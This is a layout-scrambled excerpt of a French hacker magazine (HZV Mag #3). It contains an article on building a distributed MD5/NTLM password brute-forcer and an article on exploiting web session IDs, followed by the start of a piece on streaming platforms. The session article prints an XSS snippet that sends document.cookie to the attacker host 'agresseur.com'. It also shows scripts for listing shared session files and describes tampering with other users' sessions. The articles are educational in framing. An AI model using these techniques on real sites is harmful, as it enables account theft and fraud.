du client. Il faudra cependant prêter attention 
à la bande passante nécessaire pour transfé-
rer la liste de chaque client. Pour augmenter le 
nombre de clients potentiels on peut imaginer 
compresser cette liste avant de la transférer.

Les tables « arc-en-ciel »
En cryptographie, une Rainbow Table 

boolean found=false; // permet de savoir si le hash a été trouvé

void BruteForcePass::crackPass(string str){ 
 int current_size=str.length();
 if (found == true || current_size > parameters->max_size) return; // critères 
d'arrêt for (int idx=0; idx < parameters->chars_allowed_length; idx++ ){
 string tmp = str + parameters->chars_allowed[idx]; crackPass(tmp);
   }

if ( current_size >= parameters->min_size ) { this->build_hash->Compute( str 
); // calcul du hash
if ( this->build_hash ->hash == parameters->hash_to_hack ) { // comparaison 
found=true; // on l'a trouvé :-)
result=str; // on le stock dans un coin
   }
  }
 }

: 
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de nb_caractères_possible ^ (i)

Ces trois lignes de codes effectuent ce calcul :

Prenons un exemple concret : nous voulons 
casser un hash MD5. Nous connaissons la lon-
gueur minimale du mot de passe qui est de 5 
caractères, et la longueur maximum qui est 
de 8 caractères (l'application ciblée impose 
ces paramètres à l'utilisateur). Nous suppo-
sons que ce mot de passe est composé uni-
quement de caractères alphanumérique. 
C'est à dire 26 (minuscule) + 26 (majuscule) 

en fonction d'un autre paramètre fixé lui aussi
à la compilation : le nombre d'itérations sou-
haitées. Plus précisément cela correspond au
nombre de tentatives de as-
sage que les clients doivent réali-
ser. Les opérations de bases sont
grossièrement les suivantes:

- calcul d'un hash
- comparaison avec le hash à casser

Le nombre d'itérations pour un mot de passe 
de taille comprise entre 1 et 2 avec 26 ca-
ractère possibles (alphabet minuscule) = 261 
+ 262. De manière plus formelle avec min et 
max correspondant réciproquement au nombre 
minimum et maximum de caractère du mot 
de passe le nombre d'itérations est égale à :
somme de i=nb_min jusqu'à i=max 

passe inconnu P. S'il y a égalité, alors le mot 
de passe courant correspond à celui recherché 
et l'attaque a réussi ; plus précisément, on a 
trouvé un mot de passe dont l'empreinte est 
la même que celle de P, ce qui est suffisant.

Dans ce cas la répartition de la charge peut se 
faire en distribuant les débuts de chaine ainsi
que les fonctions de réduction au clients. Les 
clients calculent la chaine complète de mot de
passes et transmettent le dernier élé-
ment au(x) serveur(s). Ces derniers vont 
alors stocker le premier et le dernier mot de 
passe ainsi que les fonctions de réduction 
utilisées. Le projet BOINC « Free Rainbow 
Tables » utilise cet technique de répartition.

réalisation simple

Séquenceur: répartition de la charge

Une solution simpliste consisterait à diviser le 
nombre d'itérations totales nécessaires par un
paramètre fixé à la compilation : le nombre 
de clients à atteindre avant l'envoi des
paramètres. Cette solution comporte beaucoup 
d'inconvénients, notamment le fait de devoir
fixer un nombre de clients, une absurdité dans 
notre cas. Le deuxième inconvénient serait de
devoir « se positionner» dans l'algorithme en 
sautant des itérations : intolérable du point de
vue des performances du système.
Une autre solution consiste à diviser le travail 

long double tmp=chars_allowed.length();
for (nb_char = min_size; 
  pow(tmp,nb_char) < NUMBER_OF_ITERATIONS;
  nb_char++);
nb_char=max_size-nb_char;

: 
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imaginer faire évoluer ce nombre de manière 
dynamique afin par exemple de maitriser la
charge réseau induite par les communications 
avec les clients : plus on affecte de jobs au
clients, plus le temps de calcul augmente 
entre chaque échange avec le serveur et donc
moins on consomme de bande passante. On 
pourrait également affecter le nombre de
travaux en fonction de la puissance de calcul 
des clients. Cela permettrai de conserver des
temps de calcul similaires avec des clients 
de puissances radicalement différentes.

Nous allons voir dans la partie suivante 
comment organiser ces travaux, et com-
ment stocker les résultats des calculs.

Gestion des travaux et des ré-
sultats

Le problème qui va désormais se poser est ce-
lui de la gestion de ces travaux. Il va falloir les
distribuer, collecter les résultats et éventuel-
lement stocker ces derniers pour un usage
ultérieur. La plupart des systèmes de calcul 
distribué actuels reposent sur le paradigme du
client / serveur, c'est à dire un grand nombre 
de clients effectuent des requêtes auprès de
serveur(s) qui leur attribue des taches de 
calcul. Les clients une fois les calculs effectués
vont envoyer les résultats au(x) serveur(s).

d'un mot de passe de 5 caractères alpha-nu-
mérique. L'astuce consiste en fait à leur de-
mander de tester toute les occurrences d'un 
mot de passe de 8 (max_size) caractères al-
pha-numérique, mais composé d'un préfixe de 
3 lettres (8 – 5 = 3) envoyé par le serveur. 
Souvenez vous, l'algorithme récursif peut dé-

marrer avec une chaine non vide... Nous au-
rons donc 5 caractères à faire triturer par les 
clients, et 3 caractères de préfixe. On enverra 
par exemple les caractères « aaa » au premier 
client qui testera toutes les occurrences de mot 
de passe de trois lettres commençant par la 
chaine « aaa ». Le deuxième recevra le préfixe 
« aab » est ainsi de suite jusqu'à « 000 » :

Il est préférable de choisir un nombre d'itéra-
tions par job relativement faible de manière à
pouvoir adapter le nombre de travaux attribués 
en fonction de paramètres choisis. On peut

+ 10 (numérique) = 62 caractères possibles.
Le nombre total d'itérations est donc égal 
à la somme de i=3 jusqu'à i=8 de 62i= 
221.919.436.559.520 soit 221.919 milliards 
d'opérations nécessaires. Une seule machine 
aurait du mal à effectuer ces calculs dans un 
temps raisonnable. Par contre pour plusieur 

centaines, voir plusieurs milliers d'ordinateurs, 
cela devient plus accessible. En fixant le nombre 
d'itérations minimum à réaliser par client à 100 
millions, ce qui paraît raisonnable pour un or-
dinateur relativement récent, nous avons donc 
grossièrement : 2 * 1014 / 107 = 13 * 107 c'est à 
dire 130 millions de travaux à distribuer : le client 
devant effectuer 100 millions d'itérations ne tes-
tera pas toutes les occurrences possibles mais 
seulement un sous ensemble. Je m'explique : 
avec le calcul ci dessus on récupère le nombre 
de caractères que les clients devront triturer 
pour 100 millions d'itérations. Etant donné que :

625 = 916.132.832 > 100.000.000 > 624 = 
14.776.336

le nombre de caractères est égale à 5, c'est à 
dire que les clients se verront confier des tra-
vaux ou il devront tester toute les occurrences 

long double tmp=chars_allowed.length();
for (nb_char = min_size; pow(tmp,nb_char) < NUMBER_OF_ITERATIONS; nb_char++) ;
nb_char=max_size-nb_char;
: 

aaaaaaaa
aaaaaaab
aaaaaaac
…
…
aaa00000

: 
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Chaque algorithme possède sa complexité 
propre, le nombre de tentatives par seconde va
donc dépendre directement de ce facteur. 
Le but de cet article n'étant pas d'étudier les
différents algorithmes et mécanismes cryp-
tographique, il semble inutile de s'y attarder.
Le code de chaque module, relativement simple, 

Protocole de communication
Pouvoir distribuer les différentes informa-
tions au clients pour le calcul il est nécessaire
d'établir un dialogue standardisé. Le schéma 
ci dessous présente un tel dialogue. NB : le
serveur est un simple serveur TCP multi-
threadé : un thread est créé pour chaque
connexion.

NB : pour des raisons de clarté seules les 
phases de connexion et de libération du ca-
nal du premier échange sont mentionnés.

Module de « hash »
L'utilisation de la librairie OpenSSL permet de 
développer rapidement des modules de calcul
d'empreinte pour les algo-
rithmes suivants (entre autre) :

• LM (Lan Manager), utilisé dans les séries 
Windows 9x
• NTLM (NT Lan Manager), utilisé principa-
lement dans les authentifications réseau
• SHA0 / SHA1, fonctions de hachage 
conçues par la NSA
• MD5 (Message Digest 5), algorithme po-
pulaire inventé par Ronald Rivest

Alors comment on organise tout ça ? Et bien 
encore une fois simplement : on va identifier
nos travaux de manière unique avec les pré-
fixes distribués au clients. Ces préfixes vont
servir d'identifiant pour stocker les résultats. 
L'utilisation d'une base de donnée de type
Berkeley (BDB) permettra de stocker l'état (« 
todo » / « done » / « affected ») d'un grand
nombre de « jobs » (travaux) sur une machine 
très modeste. Il sera bien entendu également
possible de mettre en pause ou de reprendre 
un traitement. Créer et ouvrir une base de
donnée BDB se fait en deux lignes de code :

On dispose ensuite d'un ensemble de mé-
thodes sur notre pointeur de base dbp qui 
nous permettent simplement d'ajouter : put(), 
de récupérer : get() des couples (clé,valeur) .
L'attribution des travaux est horodatées de 
manière à pouvoir définir un délai après le-
quel le job sera de nouveau disponible pour le 
calcul. Pour éviter les problèmes de pertes de
connexion le protocole prend le partie de ne 
jamais resté en communication avec le client
inutilement. Dès que les informations sont ob-
tenus la socket est fermée. Si un problème
survient tout de même pendant la communi-
cation le job devra atteindre son timeout pour
être remis « en circulation ». L'attribution des 
travaux et les dialogues client / serveur sont
abordés précisément dans la partie suivante.

db_create(&dbp, NULL, 0);
dbp->open(dbp,NULL, db.c_str(), NULL, DB_BTREE, DB_CREATE, 0664);: 
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portant de construire ses propres outils de
manière a répondre précisément à un problème 
! Et puis conserver une longueur de mot de
passe raisonnable de 12 à 15 ca-
ractères devrait être un bon début.

références
Moteur de recherche : http://google.fr
• Site officiel du système BOINC : http://boinc.
berkeley.edu/
• Site officiel du projet « Free Rainbow Tables 
» : http://www.freerainbowtables.com/
• Site officiel du projet Medussa : http://www.
bastard.net/~kos/medussa/
• ElcomSoft Distributed Password Recovery : 
http://www.elcomsoft.com/edpr.html
• « Systèmes informatique répartis – concept 
et technique », collectif Cornafion
• Oracle Berkeley DB : http://www.oracle.com/
database/berkeley-db/db/index.html
Sources :
• URL : http://securityhack.org/~gouz/demo/
InfoSec/DistributedPasswordBruteForcer

Conclusion
Améliorations possibles :

• optimisation des calculs effectués par 
les clients (tables arc-en-ciel par exemple)
• régulation de flux pour évi-
ter les congestions coté serveur
• encapsulation des communications 
dans HTTP avec du POST pour éviter le
blocage des communica-
tions par d'éventuels proxys.
• mécanismes de sécurité : authentifi-
cation des clients, validité des résultats,
intégrité et confidentialité des échanges...
• Utilisation de la puissance des GPU pour le calcul
• etc...

Les sources fournis sont très incomplètes pour 
ne pas pas qu'on m'insultent en disant que
c'est du pain bénis pour les scripts kiddies. Ils 
n'existent aucune interface, user friendly ou
pas. Les performances du système sont très 
largement optimisable (utilisation d'openSSL,
utilisation d'objet de haut niveau).
On le répétera jamais assez, mais il très im-

consiste en une classe C++ héritant d'une
classe mère abstraite commune ( « hash » ) 
définissant les attributs commun à tous (hash,
salt, password, et la méthode Compute(string) ) :

La compilation peut se faire sous Windows 
de manière a obtenir une « Dynamic Link
Library » ou sous UNIX pour obtenir un « Sha-
red Object ». Ces modules sont envoyés aux
client lors de leur première connexion au ser-
veur. Une fois téléchargé, le module est chargé, 
un objet de type Hash* est créé via la fonc-
tions create_t(). Ce type permet d'avoir un
pointeur de classe générique quelque soit le 
module chargé. La méthode Compute( string )
est une méthode virtuelle pure : déclarée 
mais non définie, elle doit obligatoirement être
implémentée dans les classes qui en dérivent. 
Le prototype de cette méthode est identique
pour chaque module, c'est elle 
qui va calculer l'empreinte.
Comme expliqué au début l'utilisation 
d'openSSL permet de développer rapidement 
des modules de calcul d'empreintes pour de 
nombreux algorithmes. Il serait préférable 
d'utiliser des implémentations optimisées pour 
le crack qui sont bien évidemment plus ra-
pides. Le code source du module pour MD5 
est un bon exemple de ce qu'on peut réaliser :

HZV Mag #3
Système de crack distribué - par g0uZ

48

Ç retour au sommaire

http://google.fr
http://boinc.berkeley.edu/
http://boinc.berkeley.edu/
http://www.freerainbowtables.com/
http://www.bastard.net/~kos/medussa/
http://www.bastard.net/~kos/medussa/
http://www.elcomsoft.com/edpr.html
http://www.oracle.com/database/berkeley-db/db/index.html
http://www.oracle.com/database/berkeley-db/db/index.html
http://securityhack.org/~gouz/demo/InfoSec/DistributedPasswordBruteForcer
http://securityhack.org/~gouz/demo/InfoSec/DistributedPasswordBruteForcer






HZV Mag #3

Les SeSSiON iDs
qu'est-ce que c'est ?

Afin de s'assurer que l'on parle 
bien la même langue, un SESSION 
ID est une chaîne de caractères 
(autrefois un nombre entier) ser-
vant à associer une activité à une 
page web. Pour être plus clair, 
c'est un identifiant qui permettra 
de faire un lien avec nos données 
enregistrées (ndlr:généralement 
associées à un compte) et suscep-
tibles d'être réutilisé (login, em-
ail, commandes d'articles, etc ...).

Vous pourrez retrouver ces SES-
SION ID dans tous les sites 
web vous proposant une iden-
tification, mais surtout dans 
les sites tels que : Amazon, 
Ebay, Paypal, Money Booker …

Les dangers
Maintenant que nous savons ce 
qu'est un SESSION ID, il est clair 
que si nous y avions accès libre-
ment, nous pourrions voler un 
compte utilisateur, changer son mot 
de passe et même souvent réutili-
ser les informations de ce même 
compte contre ce même utilisateur.

Et malheureusement pour ces uti-
lisateurs, il subsiste des solutions 
triviales à la reprise d'un compte 
et cela pour les raisons suivantes :

Faiblesse des algorithmes : 
Très souvent les SESSION IDs 
sont attribués de façon linéaire. 
Cela peut être une date ou une 
IP souvent chiffrée, ou alors 
une composition des deux. La 
recherche de cet identifiant 
devient donc très facile et ra-

exPLOitatiON DeS 
SeSSiON iDS Sur 

Le WeB 
par FlUxIus

Les applications web utilisent de plus en plus les SESSION IDs (iden-
tifiants de session), permettant d'associer des données à un utili-
sateur spécifique. Bien que cette solution soit une alternative ”plus 
sécurisée” que le stockage d'identifiants dans les cookies, le risque 
de voler des sessions est toujours grand. Cet article sert d'ouverture 
à l'exploitation des SESSION IDs sur le Web, en exposant le prin-
cipe et les différentes méthodes de les obtenir et de les utiliser.
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pide. De plus, si il n'y pas de protection ef-
ficace (encodage en base64 par exemple), 
le reverse restera un jeu d'enfant...

Longueur de SESSID trop court : En ”brute-
forcing”, plus la chaîne de caractères de l'iden-
tifiant est petite et plus vite il sera possible 
de trouver une session valide et utilisable.

Pour aller plus loin : Voir la solution des com-
promis temps-mémoire de Martin Hellman 
appliquée aux tables Rainbow pour du reverse 
de grandes chaînes de caractères, qui sert 
souvent à trouver l'algorithme implémenté.

Expiration indéterminée : Toujours en 
”brute-forcing”, si une session est statique, 
l'attaquant pourra prendre son temps afin de 
récupérer des sessions par simple méthode 
combinatoire (mais cela peut prendre aussi 
énormément de temps en fonction de la lon-
gueur de la chaîne de texte et de son type).

Le fishing : C'est là où les failles XSS peuvent 
être totalement redoutables (sans parler du 
log d'actions). En effet, à chaque session ou-
verte, un COOKIE sera envoyé via les en-
têtes HTTP afin que le serveur puisse savoir 
où sont stockées les données de chacune de 
ces sessions. Évidement la faille XSS n'est 
pas la seule méthode de phishing, vous pour-
rez en trouver d'autres sous les méthodes 
d'images source php cachées dans un email 

envoyé ou dans une page web par exemple.

Stockage public : L'erreur que beaucoup d'hé-
bergeurs mutualisés font encore aujourd'hui, 
est de stocker les sessions dans le répertoire 
”/tmp” et de ne pas rediriger le répertoire 
temporaire de l'utilisateur dans son propre 
compte. De plus, lorsqu'aucune limitation 
d'accès pour les scripts côté serveur n'est 
mise, l'accès à ces ressources devient trivial 
et il est possible d'y avoir accès après la re-
cherche récursive sur le serveur en question.

Principe de base
Comme nous l'avons vu ci-dessus, les algo-
rithmes de génération d'identifiants de ses-
sion (SESSION ID) sont généralement beau-
coup trop linéaires. Voici un petit algorithme 
simplifié de l'idée que les webmasters se font 
parfois de la génération de cet identifiant :

entier i ← 0;
// Mise des noms de fichier de session en variable par simplification
caractère SESSID[] ← (”sessid_1”, ”sessid_2”, …. , ”sessid_<n>”);
entier longueur_sessid ← longueur_tableau(SESSID); // Compte le nombre 
d'éléments dans le tableau
caractère my_session ← ””;
caractère tmp;

      // Génération d'un SESSID unique
Pour i de 0 à longueur_sessid
Faire

: 
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seconde, le timestamp s'incrémente après plu-
sieurs essais. Cependant, le webmaster averti 
n'en est pas resté là et sachant que ce pro-
blème de linéarité se rapprochait du précé-
dent, il eut la merveilleuse idée de l'encoder en 
base64. Chose qui ne changeait rien, il suffit 
d'un simple reverse pour s'apercevoir de la sim-
plicité de l'algorithme « puissant » mis en place.

Vous pourrez surement retrouver des cas 
comme celui-ci avec des liens comme suit :

http://domain.com/changepasswd.
cgi?AHAHFLUXIUS1245272232

ou

http://domain.com/changepasswd.
cgi?MTI0NTI3NDYyNA

L'exploitation de cette faille peut se 
faire facilement avec WebScarab (édi-
té par l'OWASP), permettant de prédire 
une valeur régulièrement incrémentée.

Au sujet de la génération de SESSID avec 
des IP, les problèmes sont toujours les 
mêmes, où on sait qu'une IP est com-
pris entre 0.0.0.0 et 255.255.255.255 ...

Certains se souviendront sans doute, de certains 
sites PERL CGI proposant des sessions pour 
l'identification. Eh bien les webmasters de ces 
sites utilisaient des combinaisons de timestamp  
(estampille temporelle) et d'IP. Ce genre de cas 
est devenu rare mais reste encore d'actualité.

Voyons un exemple de générateur de SES-
SID avec un timestamp Unix en PERL :

Vous devriez avoir un résultat du type à l'exé-
cution : « 1245272232 », apparemment « illi-
sible », mais on peut s'apercevoir qu'à chaque 

Il est clair qu'avec un tel algorithme, l'agres-
seur n'aura qu'à injecter en en-tête un nu-
méro de 0 à ”n” pour accéder aux sessions. 
De plus, cette manière de procéder se ré-
vèle plus dangereuse que le stockage d'iden-
tifiant par COOKIE... ce qui n'est pourtant 
pas notre but avec l'utilisation des Sessions.

Vers un semblant de chiffrement

En effet, si nous voulons utiliser des sessions, 
c'est pour rendre leur exploitation plus com-
pliquée voire même impossible, en donnant à 
chaque utilisateur un identifiant temporaire, qui 
sera supprimé du serveur dans un délai donné 
(ndlr:ce délai est couramment appelé "timeout").

tmp ← concaténer(”sessid_”, i);

Si SESSID[i] ≠ tmp

Alors Faire

my_session ← tmp;
i ← longueur_sessid; // on arrête la boucle
Fin Si
Fin Pour
// Si la session n'a pas été crée, on
Si my_session = ””
Alors faire
my_session ← concaténer(”sessid”, longueur_sessid);
Fin si

#!/usr/bin/perl
$SESSID = time();: 
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ceptibles d'expirer (ce qui est majoritairement le 
cas aujourd'hui) et que cette méthode combina-
toire n'est pas un exemple à prendre à la lettre.

Génération pseudo-aléatoire

Pour finir cette partie sur la génération 
de SESSID, voilà une méthode couram-
ment utilisée en combinaison avec le times-
tamp, c'est un numéro pseudo-aléatoire.

Maintenant reprenons l'algorithme précédent 
en tenant compte d'un hash (MD5 ici) ap-
pliqué au résultat de la combinaison simple 
avec l'addition de l'IP et du timestamp :

En général, pour éviter de tester 4294967296 
combinaisons d'IP, on ira plutôt cibler nos vic-
times en fonction de la fréquentation du site en 
question. L'utilisation des bases de données de 
géolocalisation telles que MaxMind, pourrait en 
effet nous éviter de faire ce genre de boucles 
horribles et interminables. De plus, il faut savoir 
que le temps est compté si les sessions sont sus-

Afin de justifier le titre de cette partie, nous allons 
passer à un type de codage réalisé avec la com-
binaison du timestamp et de l'IP. Petit exemple 
avec une opération d'addition (PERL CGI) :

Ce principe se révèle très intéressant (même 
si ce n'est qu'une addition... c'est le PRIN-
CIPE qui compte) car on a déjà une combi-
naison permettant de complexifier les choses 
pour notre attaquant. Cependant, dans cet 
exemple la SESSIONID sera toujours un entier, 
mais l'utilisation d'un encodage en base64 + 
un hashage tel que le MD5, SHA-128, SHA-
256... permettrait de noyer l'attaquant dans 
du reverse de niveau supérieur. Gardez tout 
de même à l'esprit que l'algorithme doit être 
protégé, car dans ce cas si l'attaquant le 
connaissait, il pourrait remonter très facilement 
et trouver une session valide. C'est pour cela 
que la composition doit être bien choisie et 
qu'il faut ruser un maximum sur la génération.

#!/usr/bin/perl
$SESSID = time();: 

#!/usr/bin/perl
$ip = $ENV{'REMOTE_ADDR'}; # prise 
de notre ip
$ip =~ s/\.+//g; # Suppression des 
''.''
$SESSIONID = time() + int($ip);

: #!/usr/bin/perl
use Digest::MD5 qw(md5 md5_hex md5_base64);

$count = 0;
# Boucle de la MORT
for ($a = 0; $a < 256; $a++) {
  for ($b = 0; $b < 256; $b++) {
   for ($c = 0; $c < 256; $c++) {
    for ($d = 0; $d < 256; $d++) {
    # pour la recherche du timestamp
     for($tmst = 0; $tmst < 10**11; 
      $tmst++) {
      $iptest = int($a.$b.$c.$d);
      $SESSIDTEST = md5($iptest+time());
      # … Ici un script vérifiant les combinaisons
     }
    }
   }
  }
 }

: 
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Pourquoi dis-je cela ? Parce que vos identi-
fiants se retrouvent plus généralement dans 
les cookies :

sérieusement sur le hashage une fois de plus.

Maintenant que nous connaissons 
le principe de génération des SES-
SIDs et comment retrouver de fa-
çon générale l'identifiant par le 
reverse, nous allons l'appliquer et 
faire une analyse de la génération 
de session dans un langage utilisé 
par plus de 20 Millions d'utilisateurs. 
Je veux bien sûr parler de PHP !

exploitation sur PHP

SeSSiD où te caches-tu ?

Les failles XSS ont été longtemps 
considérées comme un danger à 
moindresrisque permettant de récupérer les 
cookies et rien de plus. Aujourd'hui le mythe 
subsiste et de nombreuses personnes n'ont pas 
conscience que les failles XSS peuvent être aus-
si redoutables que des Socket Servers configu-
rés pour agir comme de véritables Backdoors. 
Vous avez grâce aux failles XSS un accès aux 
actions de l'utilisateur à travers une page pié-
gée (en référence à la conférence NDH 2009 
avec Xeek) mais aussi et surtout aux SESSIDs.

Tout le monde connait cette fonction « rand() 
» superbe pour générer des numéros pseudo-
aléatoires, mais l'utilisation de cette fonction 
doit se faire avec modération. En effet, rand() 
dépend du temps (time() par défaut) et peut 
être contrôlée en utilisant srand(). Voici une 
démonstration effectuant deux générations :

Résultat :

Tout cela pour montrer que si on connait l'al-
gorithme utilisé, la capture d'une session peut 
être vraiment facile. De même, il faut prendre 
conscience que le reverse engineering est une 
arme pour l'agresseur et qu'il faut donc insister 

#!/usr/bin/perl
for ($i = 0; $i < 2; $i++) {
srand(2);
print "\n".rand()."\n";
}

: 

Donnemoitonnick:~ fluxius$ chmod a+x 
hash.pl
Donnemoitonnick:~ fluxius$ ./hash.pl
0.912432653437467

0.912432653437467

: 

injection de code PHP par les 
sessions

Il est possible de faire exécuter du code PHP 
à distance sur un serveur possédant une 
faille de type «include», en abusant du sys-
tème de sessions de PHP.
http://www.segmentationfault.fr/

WTF ?!
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Chaque session sera stockée dans « /Appli-
cations/MAMP/tmp/php » (tmp = pas bien) 
et utilisera la fonction de hashage md5 :

Lorsque nous sommes sur un serveur mutua-
lisé, la méthode la plus utilisée pour avoir la 
liste des sessions lorsqu'il n'y a ni openbasedir, 
safe_mod ou que tout est localisé dans le réper-
toire « /tmp », on se fait en général une liste :

Contenu d'un fichier de session :

On peut aussi générer une image à partir de rien si 
l'on veut, le but est de rester le plus discret possible.

Je tiens tout de même à pré-
ciser que certaines 
configurations de PHP 
peuvent autoriser la 
présence du SESSID 
dans l'url et de ne pas 
le mettre en tant que 
cookie, mais cela reste 
un cas rare de nos jours.

Beaucoup de personnes utilisent des pages « 
spéciales » afin de connaître leur configuration 
utilisée à l'instant « t » par le simple script :

Cela nous donne déjà pas mal d'informations :

On s'attend là à un cookie simple stoc-
kant le SESSID sous le nom « PHPSESSID ». 

On peut donc imaginer que si on trouvait 
une faille XSS sur une page et que nous en 
faisions profiter une plage d'utilisateurs, l'in-
jection d'un tel script pourrait faire fureur :

La page « image.php » est en général un 
script, qui enregistrera les valeurs de « m » 
passées par la requête GET. Ce qui nous in-
téressera principalement dans cet article sont 
les différentes valeurs  de la variable PHP-
SESSID renvoyées au site agresseur.com.

Pour que l'utilisateur ne se doute de 
rien en général, on reprendra une image 
transparente qu'on régénérera à l'aide 
de php sur la page « image.php » :

<script type=''text/javascript''>
// Instance d'un objet Image
new Image().src=''http://agresseur.com/image.
php?m=''+encodeURI(document.cookie);
</script>

: 

<?php
...
$fichier = ''transparent.png'';

header('Content-type: image/png');
$image = @
imagecreatefrompng($fichier);
imagepng($img);
imagedestroy($img);
…
?>

: 

<?php phpinfo() ?>: 

Donnemoitonnick:~ fluxius$ cd /Applications/
MAMP/tmp/php
Donnemoitonnick:~ fluxius$ ls sess_
cc1a35da0566458e004331cc906a4e39 ← Le SESSID

Donnemoitonnick:php fluxius$ 

: 

<?php
if ($repertoire = opendir('/var/
lib/php')) {
while(($fichier = 
readdir($repertoire)) !== FALSE) {
echo ' - '.$file.''\n'';
}
closedir($repertoire);
}

: 

login|s:7:"FlUxIuS";level|s:4:"r00t
";id|s:1:"0";: 
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celle dont nous voudrions recevoir les pro-
duits et déclencher nous même l'action de 
confirmation, puis nous débrouiller pour que 
cette « victime » ne voit que du feux ou du 
moins une flamme pour que cela marche.

L'idée au final est qu'il possible de manipu-
ler très facilement les champs des fichiers 
de sessions, surtout si ceux-ci sont partagés.

injection de données
Nous avions vu précédemment la structure 
d'un fichier de session et la reprise de celui-
ci, nous allons maintenant nous appliquer à 
un attaque similaire au CSRF, mais encore plus 
dangereuse selon la vigilance de l'utilisateur.

Imaginons que nous soyons hébergé sur un 
serveur mutualisé où on saurait 
« par pur hasard », qu'un site e-
commerce y soit présent. Mainte-
nant imaginez que vous puissiez 
avoir la main sur ses sessions et 
que vous modifiez son contenu a 
un instant « t » avant la finalisa-
tion de l'achat. Que se passe-t-il ?
L'idée lorsque le « path » de ses-
sion est partagé avec les différents 
utilisateurs, serait de modifier la 
variable « television » comme suit :

Bien évidement, il nous faudra remplacer 
le « cookie » de session par celui de la vic-
time. Seulement un ou deux détails pour le 
cas d'une commande en ligne, c'est que nous 
devrons remplacer l'adresse de la victime par 

utilisation de nos SeSSiD volés
utilisation passive

Pour utiliser ces SESSID volés, on peut tout 
à fait se servir d'un des modules de Fire-
fox comme « Modify Headers » pour in-
jecter notre nouveau cookie PHPSESSID, 
ce qui va donc remplacer celui d'avant :

Si tout se passe bien, vous devriez par la suite 
accéder au compte d'une autre personne et 
l'administrer comme vous le voulez.

login|s:7:"FlUxIuS";leve
l|s:4:"r00t";id|s:1:"0";
produit|s:17:"television 
plasma";

: 

<?php
session_start();
$_SESSION['produit'] 
= 'Playstation 3, 
Television Plasma';
?>

: 

Détection de CMS

Il est assez facile de détecter les CMS uti-
lisés par un site Web. La source des pages 
HTML regorge d'information juteuse, comme 
le nom du CMS utilisé, sa version, ainsi que 
dans certains cas les plug-ins déployés sur le 
site. Voici un petit script Greasemonkey pour 
Firefox qui vous permettra en un clin d'oeil 
d'obtenir quelques unes de ces informations.

http://www.shatter-blog.net/2009/12/script-
greasemonkey-pour-detecter-les-cms/

WTF ?!
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chaque possibilité. De plus, grâce à une géné-
ration d'un « hash » de session et un « rever-
sing » des algorithmes d'authentification, plus 
de 2/3 des utilisateurs utilisant les sessions se 
retrouvent ainsi en danger. Car en effet, les ro-
bots on plus d'une fonctionnalité en poche...

remerciements
Avant tout, je tiens à remercier Thomas Ty-
rant, qui a pris le temps de relire cet ar-
ticle et d'en préserver sa qualité. Un grand 
merci à HZV, sans qui cet article serait 
resté dans un blog ou une page dédiée.
Et pour finir, je remercie tous les lecteurs 
d'avoir aussi pris le temps de lire cet article. 
J'espère que cela vous a plu et que je pourrais 
avoir quelques retours constructifs sur le sujet.

aller plus loin
Livre Hacking Exposed web 2.0 (Hacking sur le 
web 2.0)

Les sessions PHP : http://fr2.php.net/manual/
en/book.session.php

Archive PHP 5 : http://fr2.php.net/get/php-
5.2.10.tar.bz2/from/a/mirror

PHPLIB session-id generation : http://seclists.
org/vuln-dev/2001/Jul/0033.html

Cet algorithme reprend les principes énoncés 
précédemment avec une combinaison com-
plexe. Ce script est un sujet un peu sensible 
chez les développeurs de PHP Core, car elle 
a et subit encore de nombreuses attaques.

Conclusion
Cet article assez général présente 
l'attaque de session avec une petite 
introduction du XSS jugé peu dange-
reux par beaucoup, mais surtout par 
méthode combinatoire après avoir eu 
connaissance des algorithmes utilisés.

Ces mêmes principes sont utilisés aussi 
dans différents cas comme « digitick.
com » pour la génération d'URL d'im-
pression de tickets d'entrée. En effet, 
une URL unique, considérée comme se-
crète donne accès à l'impression de son 
ticket de concert, park, etc... et nous 
ne sommes pas à l'abri, que d'autres 
puissent utiliser ces tickets (même 
si notre nom est marqué en clair...).

Concernant les SESSIDs, ce sera aux 
webmasters d'user de stratégie vul-
pines pour protéger les utilisateurs, 
car finalement même si ces sessions « 
vivent » un certain temps, il est pos-
sible de les exploiter après analyse de 

analyse de l'algorithme de génération dans PHP

Pour aller plus loin, je vous propose une pe-
tite analyse du script de génération de SESSID 
dans PHP. En se référant au snippet php5, fi
chier source « session.c », on peut en dé-
duire cet algorithme simplifié une fois de plus :

caractère *buf;
caractère remote_addr ← NIL;
timeval tv;
gettimeofday(&tv, NIL);

// Stockage de l'IP
Si IP = VRAI
Alors faire
remote_addr ← IP;
Sinon
remote_addr ← '''';
Fin Si

buf ← Allocation_initialisation( remote_addr 
+ tv._sec+ tv_usec + generation_numero_
pseudo_aléatoire());

Si HASH_CHOISIT_MD5 = VRAI
Alors faire
buf ← MD5(buf);
Sinon si HASH_CHOISIT_SHA1 = VRAI
Alors faire
buf ← SHA1(buf);
Fin Si

retourner buf;

: 
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introduction
Une conséquence de la loi Ha-
dopi, les pirates se concentrent 
désormais sur les plate-formes 
de streaming. Cependant, le 
streaming tel que l'implémentent 
certaines plate-formes reste très 
peu différent du direct-download, 
autre type de plate-forme qui a 
désormais le vent en poupe (Me-
gaUpload, Rapidshare, etc ...).

Ces plate-formes de streaming, 
telles que Deezer, MusicMe, ou 
encore Jiwa permettent aux visi-
teurs d'écouter de la musique à 
la demande, gratuitement, sans 
possibilité de téléchargement.
Ou presque.

L'hypocrisie 
globale
Ces plate-formes de diffusion de 
médias sont basées sur des sys-

tèmes web, et emploient donc 
le protocole HTTP. Ce protocole 
est basé sur TCP, qui permet de 
connecter un client à un serveur, 
et fonctionne à l'aide de requêtes 
auxquelles le serveur retourne des 
réponses. Il y a un donc une phase 
d'upload (l'envoi de la requête) et 
une phase de download (la récep-
tion de la ressource demandée).

Tous les échanges basés sur HTTP 
respectent ce schéma, et le télé-
chargement fait partie intégrante 
du processus de traitement des 
ressources: en effet, celles-ci doi-
vent être rapatriées pour pouvoir 
être traitées par le navigateur web, 
sur la machine de l'internaute.

Les sociétés de diffusion de mu-
sique en streaming ont, pour 
pouvoir diffuser librement les 
contenus musicaux, signés des 
accords avec les différents pro-
ducteurs et associations d'ar-
tistes, comme la SACEM (So-
ciété des Auteurs,Compositeurs, 

StreaMiNG VS. 
HaDOPi
par Virtualabs

Les plates-formes de streaming audio (comprenez d'écoute de 
musique en ligne) poussent comme des champignons, mais seuls 
quelques gros se partagent la plus grande part du gateau, et cela va 
croissant.
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et Editeurs de Musique) et le SNEP (Syndicat 
National de l'Edition Phonographique), sti-
pulant notamment que les visiteurs doivent 
être dans l'impossibilité de pouvoir récupérer 
